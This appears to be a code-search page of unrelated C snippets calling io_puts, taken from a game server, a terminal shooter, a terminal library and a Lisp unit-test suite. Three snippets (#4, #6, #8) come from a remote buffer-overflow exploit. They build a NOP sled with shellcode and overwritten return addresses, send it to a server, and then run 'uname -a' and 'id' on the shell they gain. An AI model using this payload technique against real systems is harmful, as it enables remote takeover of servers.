Exemple #1
0
/*
 * Send @id text @buf to @pl, line-buffered.
 * @buf is user text.
 * If a partial line with different id is buffered, terminate it with
 * a newline first.
 */
static void
pr_player(struct player *pl, int id, char *buf)
{
    char *p;
    char *bp;
    int len;

    journal_output(pl, id, buf);

    bp = buf;
    while (*bp != '\0') {
	if (pl->curid != -1 && pl->curid != id) {
	    io_puts(pl->iop, "\n");
	    pl->curid = -1;
	}
	if (pl->curid == -1)
	    outid(pl, id);
	p = strchr(bp, '\n');
	if (p != NULL) {
	    len = (p - bp) + 1;
	    io_write(pl->iop, bp, len);
	    bp += len;
	    pl->curid = -1;
	} else {
	    len = io_puts(pl->iop, bp);
	    bp += len;
	}
    }

    if (player == pl)
	player_output_some();
}
Exemple #2
0
void draw_ship(struct player *p)
{
    io_set_color((100 - p->health)*2, 55 + (p->health*2), 0);
    io_puts(p->x, p->y,   " -|\\");
    io_puts(p->x, p->y+1, ">]]]]]>");
    io_puts(p->x, p->y+2, " -|/");
    io_reset_color();
}
Exemple #3
0
void draw_enemy_bullet(struct bullet *b)
{
    if (b->shot) {
        io_set_color(0xff, 0xff, 0x00);
        io_puts(b->x+1, b->y,   "~~");
        io_puts(b->x+1, b->y+2, "~~");
        io_reset_color();
    }
}
Exemple #4
0
void sploit_handler(int fd, struct connect *cnptr)
{
  if(io_list[fd].status.closed || io_list[fd].status.err)
    sploit_shutdown();
  
  log(sploit_log, L_status, "Connected");
  
  io_unregister(fd, IO_CB_WRITE);
  io_register(fd, IO_CB_READ, sploit_read_irc);
  
  io_queue_control(fd, ON, OFF, ON);
  
  io_puts(fd, "USER sploit sploit sploit sploit");
  io_puts(fd, "NICK sploit");
}
Exemple #5
0
/*
 * Send @id text @buf to @pl, line-buffered.
 * This function translates from normal text to user text.
 * If a partial line with different id is buffered, terminate it with
 * a newline first.
 */
static void
upr_player(struct player *pl, int id, char *buf)
{
    char *bp;
    int standout = 0;
    char printbuf[2];
    char ch;

    journal_output(pl, id, buf);

    printbuf[0] = '\0';
    printbuf[1] = '\0';

    bp = buf;
    while ((ch = *bp++)) {
	if (pl->curid != -1 && pl->curid != id) {
	    io_puts(pl->iop, "\n");
	    pl->curid = -1;
	}
	if (pl->curid == -1)
	    outid(pl, id);

	if (ch & 0x80) {
	    if (standout == 0) {
		printbuf[0] = 0x0e;
		io_puts(pl->iop, printbuf);
		standout = 1;
	    }
	    ch &= 0x7f;
	} else {
	    if (standout == 1) {
		printbuf[0] = 0x0f;
		io_puts(pl->iop, printbuf);
		standout = 0;
	    }
	}
	if (ch == '\n') {
	    io_write(pl->iop, &ch, 1);
	    pl->curid = -1;
	} else {
	    printbuf[0] = ch;
	    io_puts(pl->iop, printbuf);
	}
    }

    if (player == pl)
	player_output_some();
}
Exemple #6
0
void sploit_send(int fd)
{
  char payload[VULNSIZE + 1 + (8 * 4)];

  log(sploit_log, L_status, "Payload size is %u bytes.", sizeof(payload) -1);
  
  memset(payload, 0x90, sizeof(payload));
    
  memcpy(&payload[VULNSIZE - (sizeof(shellcode) - 1)], shellcode,
         sizeof(shellcode) - 1);
  
  log(sploit_log, L_status, "Trying retaddr %p..", RETADDR);
  
  *((void **)&payload[VULNSIZE]) = (void *)RETADDR;
  *((void **)&payload[VULNSIZE + 4]) = (void *)RETADDR;
  *((void **)&payload[VULNSIZE + 8]) = (void *)RETADDR;
  *((void **)&payload[VULNSIZE + 12]) = (void *)RETADDR;
  *((void **)&payload[VULNSIZE + 16]) = (void *)RETADDR;
  *((void **)&payload[VULNSIZE + 20]) = (void *)RETADDR;
  *((void **)&payload[VULNSIZE + 24]) = (void *)RETADDR;
  *((void **)&payload[VULNSIZE + 28]) = (void *)RETADDR;
  
  payload[sizeof(payload) - 1] = '\0';
  
  io_puts(fd, "VULN :%s", payload);
  
  io_register(fd, IO_CB_READ, sploit_read_shell);
  io_register(fd, IO_CB_WRITE, sploit_write_shell);
  io_set_events(fd, IO_WRITE|IO_READ);
}
Exemple #7
0
void    VUTermSuspend(BOOL cls)
{
    setattr(DARKWHITE | BLACK);
    if(cls) {
        cursor(0, 0);
        io_puts(term->term_cls);
    }
    else {
        cursor(rows - 1, 0);
        io_puts(term->term_eol);
    }
    io_escape(term->term_cursor_show);
    io_escape(term->term_shutdown);
    io_flush();
    ioctl(STDIN, TIOCSETN, &old_stty);
}
Exemple #8
0
void sploit_write_shell(int fd)
{
  if(!sploit_success)
  {
    io_puts(fd, "uname -a\nid");
    io_unregister(fd, IO_CB_WRITE);
  }  
}
Exemple #9
0
void    VUTermSuspend(BOOL cls)
{
    setattr(DARKWHITE | BLACK);
    if(cls) {
        cursor(0, 0);
        io_puts(term->term_eop);
    }
    else {
        cursor(rows - 1, 0);
        io_puts(term->term_eol);
    }
    if(cls != 2) {
        io_escape(term->term_cursor_show);
        io_escape(term->term_shutdown);
        io_flush();
        tcsetattr(STDIN, TCSANOW, &old_stty);
    }
    else
        io_flush();
}
Exemple #10
0
/*
 * Send some text to @p with id @id, line-buffered.
 * Format text to send using printf-style @format and optional
 * arguments.  It is assumed to be already user text.  Plain ASCII and
 * text received from the same player are fine, for anything else the
 * caller has to deal with output filtering.
 * If a partial line is buffered, terminate it with a newline first.
 */
void
pr_id(struct player *p, int id, char *format, ...)
{
    char buf[4096];
    va_list ap;

    if (p->curid >= 0) {
	io_puts(p->iop, "\n");
	journal_output(p, p->curid, "\n");
	p->curid = -1;
    }
    va_start(ap, format);
    (void)vsprintf(buf, format, ap);
    va_end(ap);
    pr_player(p, id, buf);
}
Exemple #11
0
/*
 * Send id @n to @pl.
 * This runs always at the beginning of a line.
 */
static void
outid(struct player *pl, int n)
{
    char buf[3];

    if (CANT_HAPPEN(n > C_LAST))
	n = C_DATA;

    if (n >= 10)
	buf[0] = 'a' - 10 + n;
    else
	buf[0] = '0' + n;
    buf[1] = ' ';
    buf[2] = '\0';
    io_puts(pl->iop, buf);
    pl->curid = n;
}
Exemple #12
0
void draw_enemy(struct enemy *e)
{
    if (e->health) {
        if ((int)e % 5) {
            io_set_color(0x77, (int)(2.5 * e->health), 155 + (int)e % 100);
            io_puts(e->x, e->y,   "<<[[[\\");
            io_puts(e->x, e->y+1, "  (XXXX[");
            io_puts(e->x, e->y+2, "<<[[[/");
        } else {
            io_set_color(155 + (int)e % 100, (int)(2.5 * e->health), 0x33);
            io_puts(e->x, e->y,   "  /|- /");
            io_puts(e->x, e->y+1, "<[[[[<");
            io_puts(e->x, e->y+2, "  \\|- \\");
        }
        io_reset_color();
    }
}
Exemple #13
0
int main(int argc, char **argv)
{
	if (argc > 1)
		while (++argv, --argc) {
			if (!strcmp("-c", argv[0]))
				color_on = 1;
			else if (!strcmp("-h", argv[0]))
				printf("liblisp unit tests\n\tusage ./%s (-c)? (-h)?\n", argv[0]);
			else
				printf("unknown argument '%s'\n", argv[0]);
		}

	unit_test_start("liblisp");
	{
		print_note("util.c");

		test(is_number("0xfAb"));
		test(is_number("-01234567"));
		test(is_number("+1000000000000000000000000000003"));
		test(!is_number(""));
		test(!is_number("+"));
		test(!is_number("-"));

		test(unbalanced("(((", '(', ')') > 0);
		test(unbalanced("))",  '(', ')') < 0);
		test(unbalanced("",    '(', ')') == 0);
		test(unbalanced("\"(", '(', ')') == 0);
		test(unbalanced("( \"))))(()()()(()\\\"())\")",  '(', ')') == 0);
		test(unbalanced("(a (b) c (d (e (f) \")\" g)))", '(', ')') == 0);
		test(unbalanced("((a b) c", '(', ')')  > 0);

		test(!is_fnumber(""));
		test(!is_fnumber("1e"));
		test(!is_fnumber("-1e"));
		test(!is_fnumber("1-e"));
		test(is_fnumber("+0."));
		test(is_fnumber("123"));	/*this passes, see header */
		test(is_fnumber("1e-3"));
		test(is_fnumber("1.003e+34"));
		test(is_fnumber("1e34"));
		test(is_fnumber("93.04"));

		test(match("", ""));
		test(match("abc", "abc"));
		test(!match("abC", "abc"));
		test(match("aaa*", "aaaXX"));
		test(!match("aaa*", "XXaaaXX"));
		test(match(".bc", "abc"));
		test(match("a.c", "aXc"));
		test(!match("a\\.c", "aXc"));
		test(match("a\\.c", "a.c"));

		char *s = NULL;
		state(s = vstrcatsep(",", "a", "b", "c", "", "foo", "bar", NULL));
		test(!sstrcmp("a,b,c,,foo,bar", s));
		free(s);

		char *t = NULL, *s1 = "Hello,", *s2 = " World!";
		state(t = calloc(16, 1));
		state(strcpy(t, s1));
		test(((size_t) (lstrcatend(t, s2) - t)) == (strlen(s1) + strlen(s2)));
		free(t);

		/*test tr, or translate, functionality */
		size_t trinsz = 0;
		uint8_t trout[128] = { 0 }, *trin = (uint8_t *) "aaabbbcdaacccdeeefxxxa";
		tr_state_t *tr1;
		state(tr1 = tr_new());
		state(trinsz = strlen((char *)trin));
		test(tr_init(tr1, "", (uint8_t *) "abc", (uint8_t *) "def") == TR_OK);
		test(tr_block(tr1, trin, trout, trinsz) == trinsz);
		test(!strcmp((char *)trout, "dddeeefdddfffdeeefxxxd"));
		test(tr_init(tr1, "s", (uint8_t *) "abc", (uint8_t *) "def") == TR_OK);
		state(memset(trout, 0, 128));
		test(tr_block(tr1, trin, trout, trinsz) <= trinsz);
		test(!strcmp((char *)trout, "defddfdeeefxxxd"));
		state(tr_delete(tr1));

		/*know collisions for the djb2 hash algorithm */
		test(djb2("heliotropes", strlen("heliotropes")) ==
		     djb2("neurospora", strlen("neurospora")));
		test(djb2("depravement", strlen("depravement")) ==
		     djb2("serafins", strlen("serafins")));
		/*should not collide */
		test(djb2("heliotropes", strlen("heliotropes")) !=
		     djb2("serafins", strlen("serafins")));
	}

	{ /*io.c test */
		io_t *in, *out;
		print_note("io.c");

		/*string input */
		static const char hello[] = "Hello\n";
		/**@note io_sin currently duplicates "hello" internally*/
		state(in = io_sin(hello, strlen(hello)));
		test(io_is_in(in));
		test(io_getc(in) == 'H');
		test(io_getc(in) == 'e');
		test(io_getc(in) == 'l');
		test(io_getc(in) == 'l');
		test(io_getc(in) == 'o');
		test(io_getc(in) == '\n');
		test(io_getc(in) == EOF);
		test(io_getc(in) == EOF);
		test(!io_error(in));
		test(io_seek(in, 0, SEEK_SET) >= 0);
		test(io_getc(in) == 'H');
		test(io_seek(in, 3, SEEK_SET) >= 0);
		test(io_getc(in) == 'l');
		test(io_ungetc('x', in) == 'x');
		test(io_getc(in) == 'x');
		test(io_getc(in) == 'o');
		state(io_close(in));

		/*string output */
		char *s = NULL;
		static const char hello_world[] = "Hello,\n\tWorld!\n";
		/**@note io_sin currently duplicates hello_world internally*/
		state(in = io_sin(hello_world, strlen(hello_world))); 
		test(!strcmp(s = io_getline(in), "Hello,"));
		s = (free(s), NULL);
		test(!strcmp(s = io_getline(in), "\tWorld!"));
		s = (free(s), NULL);
		test(!io_getline(in));
		test(io_seek(in, 0, SEEK_SET) >= 0);
		test(!strcmp(s = io_getdelim(in, EOF), "Hello,\n\tWorld!\n"));
		s = (free(s), NULL);
		state(io_close(in));

		state(out = io_sout(1));
		test(io_puts("Hello, World", out) != EOF);
		test(!strcmp("Hello, World", io_get_string(out)));
		test(io_putc('\n', out) != EOF);
		test(!strcmp("Hello, World\n", io_get_string(out)));
		test(io_seek(out, -6, SEEK_CUR) >= 0);
		test(io_puts("Mars\n", out) != EOF);
		test(!strcmp("Hello, Mars\n\n", io_get_string(out)));
		free(io_get_string(out));
		state(io_close(out));

		static const char block_in[16] = {1, 3, 4, 6};
		static char block_out[16] = {0};
		state((in = io_sin(block_in, 16)));
		test(io_getc(in) == 1);
		test(io_read(block_out, 15, in) == 15);
		test(!memcmp(block_out, block_in+1, 15));

		state(io_close(in));
	}

	{ /* hash.c hash table tests */
		hash_table_t *h = NULL;
		print_note("hash.c");
		state(h = hash_create(1));
		return_if(!h);
		test(!hash_insert(h, "key1", "val1"));
		test(!hash_insert(h, "key2", "val2"));
		/* assuming the hash algorithm is djb2, then
		 *  "heliotropes"  collides with "neurospora"
		 *  "depravement"  collides with "serafins"
		 *  "playwright"   collides with "snush" (for djb2a)
		 * See:
		 * <https://programmers.stackexchange.com/questions/49550/which-hashing-algorithm-is-best-for-uniqueness-and-speed> */
		test(!hash_insert(h, "heliotropes", "val3"));
		test(!hash_insert(h, "neurospora", "val4"));
		test(!hash_insert(h, "depravement", "val5"));
		test(!hash_insert(h, "serafins", "val6"));
		test(!hash_insert(h, "playwright", "val7"));
		test(!hash_insert(h, "snush", "val8"));
		test(!hash_insert(h, "", "val9"));
		test(!hash_insert(h, "nil", ""));
		test(!hash_insert(h, "a", "x"));
		test(!hash_insert(h, "a", "y"));
		test(!hash_insert(h, "a", "z"));
		test(!sstrcmp("val1", hash_lookup(h, "key1")));
		test(!sstrcmp("val2", hash_lookup(h, "key2")));
		test(!sstrcmp("val3", hash_lookup(h, "heliotropes")));
		test(!sstrcmp("val4", hash_lookup(h, "neurospora")));
		test(!sstrcmp("val5", hash_lookup(h, "depravement")));
		test(!sstrcmp("val6", hash_lookup(h, "serafins")));
		test(!sstrcmp("val7", hash_lookup(h, "playwright")));
		test(!sstrcmp("val8", hash_lookup(h, "snush")));
		test(!sstrcmp("val9", hash_lookup(h, "")));
		test(!sstrcmp("", hash_lookup(h, "nil")));
		test(!sstrcmp("z", hash_lookup(h, "a")));
		test(hash_get_load_factor(h) <= 0.75f);

		state(hash_destroy(h));
	}

	{			/* lisp.c (and the lisp interpreter in general) */
		lisp_t *l;

		print_note("lisp.c");
		/*while unit testing eschews state being held across tests it is makes
		 *little sense in this case*/
		state(l = lisp_init());
		state(io_close(lisp_get_logging(l)));
		test(!lisp_set_logging(l, io_nout()));
		return_if(!l);
		test(!lisp_eval_string(l, ""));
		test(is_int(lisp_eval_string(l, "2")));
		test(get_int(lisp_eval_string(l, "(+ 2 2)")) == 4);
		test(get_int(lisp_eval_string(l, "(* 3 2)")) == 6);

		lisp_cell_t *x = NULL, *y = NULL, *z = NULL;
		char *t = NULL;
		state(x = lisp_intern(l, lstrdup_or_abort("foo")));
		state(y = lisp_intern(l, t = lstrdup_or_abort("foo")));	/*this one needs freeing! */
		state(z = lisp_intern(l, lstrdup_or_abort("bar")));
		test(x == y && x != NULL);
		test(x != z);
		free(t);	/*free the non-interned string */

		test(is_proc(lisp_eval_string(l, "(define square (lambda (x) (* x x)))")));
		test(get_int(lisp_eval_string(l, "(square 4)")) == 16);

		test(!is_list(cons(l, gsym_tee(), gsym_tee())));
		test(is_list(cons(l, gsym_tee(), gsym_nil())));
		test(!is_list(cons(l, gsym_nil(), cons(l, gsym_tee(), gsym_tee()))));
		test(is_list(mk_list(l, gsym_tee(), gsym_nil(), gsym_tee(), NULL)));

		test(gsym_error() == lisp_eval_string(l, "(> 'a 1)"));
		test(is_sym(x));
		test(is_asciiz(x));
		test(!is_str(x));
		test(gsym_error() == lisp_eval_string(l, "(eval (cons quote 0))"));

		char *serial = NULL;
		test(!strcmp((serial = lisp_serialize(l, cons(l, gsym_tee(), gsym_error()))), "(t . error)"));
		state(free(serial));

		state(lisp_destroy(l));
	}
	return unit_test_end("liblisp");	/*should be zero! */
}